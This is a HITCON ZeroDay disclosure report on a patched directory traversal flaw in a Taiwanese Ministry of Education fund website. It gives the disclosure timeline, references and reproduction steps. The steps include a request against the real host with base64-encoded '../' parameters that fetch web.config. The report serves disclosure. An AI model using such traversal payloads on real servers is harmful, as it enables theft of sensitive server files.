教育部獎勵私立大學校院校務發展計畫資訊網 某政府單位 - Directory Transversal - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00201
  • Vendor: 教育部
  • Title: 教育部獎勵私立大學校院校務發展計畫資訊網 某政府單位 - Directory Transversal
  • Introduction: 可任意下載檔案

處理狀態

目前狀態

公開
Last Update : 2016/11/12
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2016/09/13 22:49:07 : 新提交 (由 jacky5112 更新此狀態)
  • 2016/09/18 17:29:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/09/20 13:00:57 : 未修補完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/09/27 23:22:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/07 22:30:15 : 已修補 (由 HITCON ZeroDay 平台自動更新)
  • 2016/11/08 10:01:27 : 確認已修補 (由 HITCON ZeroDay 平台自動更新)
  • 2016/11/12 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2016-00201
  • 通報者:qoo24571864 (jacky5112)
  • 風險:高
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://dhe-fund.yuntech.edu.tw/DheWeb/Getfile.ashx

敘述

  1. 利用 google hacking 發現網站具有檔案下載功能
  2. 瀏覽網站
    http://dhe-fund.yuntech.edu.tw/DheWeb/Getfile.ashx
  3. 發現參數中,FILEPATH 為參考目錄,FILENAME 為檔案名稱,其中發現採用base64處理,進行路徑猜測與字串組合,發現可下載 web.config 檔案
    dhe-fund.yuntech.edu.tw/DheWeb/Getfile.ashx?KIND=542O6KOc5Yqp5paH5Lu2&FILEPATH=Li4vLi4v&YEAR=OTk=&FILENAME=Li4vd2ViLmNvbmZpZw==

FILEPATH 相當於 ../../
FILENAME 相當於 ../web.config

擷圖

留言討論

;